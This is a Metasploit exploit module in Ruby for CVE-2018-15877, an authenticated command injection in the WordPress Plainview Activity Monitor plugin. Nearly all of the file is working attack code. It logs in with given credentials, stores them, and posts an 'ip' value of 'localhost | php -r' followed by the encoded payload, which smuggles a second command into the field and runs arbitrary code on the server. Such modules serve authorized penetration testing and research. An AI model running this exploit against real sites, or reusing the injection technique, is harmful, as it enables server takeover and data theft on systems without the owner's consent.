## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Plainview Activity Monitor RCE', 'Description' => %q{ Plainview Activity Monitor Wordpress plugin is vulnerable to OS command injection which allows an attacker to remotely execute commands on underlying system. Application passes unsafe user supplied data to ip parameter into activities_overview.php. Privileges are required in order to exploit this vulnerability. Vulnerable plugin version: 20161228 and possibly prior Fixed plugin version: 20180826 }, 'Author' => [ 'LydA(c)ric LEFEBVRE', # Vulnerability discovery 'Leo LE BOUTER', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-15877' ], [ 'EDB', '45274' ], ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'BadChars' => '&>\'', }, 'Targets' => [['WordPress', {}]], 'DisclosureDate' => 'Aug 26 2018' )) register_options( [ OptString.new('USERNAME', [ true, "The user to authenticate as"]), OptString.new('PASSWORD', [ true, "The password to authenticate with" ]) ]) register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), ]) end def check unless wordpress_and_online? vprint_error("#{target_uri} does not seeem to be Wordpress site") return CheckCode::Unknown end check_plugin_version_from_readme('plainview-activity-monitor', '20180826') end def exploit check_code = check unless check_code == CheckCode::Detected || check_code == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end user = datastore['USERNAME'] password = datastore['PASSWORD'] print_status("Trying to login...") cookie = wordpress_login(user, password) if cookie.nil? fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful") end print_good("Login Successful") store_valid_credential(user: user, private: password, proof: cookie) uri = normalize_uri(target_uri.path, 'wp-admin/admin.php') vars_get = { 'page' => 'plainview_activity_monitor', 'tab' => 'activity_tools' } vars_post = { 'ip' => "localhost | php -r '#{payload.encoded}'", 'lookup' => 'Lookup', 'submit' => 'Submit request' } send_request_cgi( 'method' => 'POST', 'cookie' => cookie, 'uri' => uri, 'vars_get' => vars_get, 'vars_post' => vars_post ) end end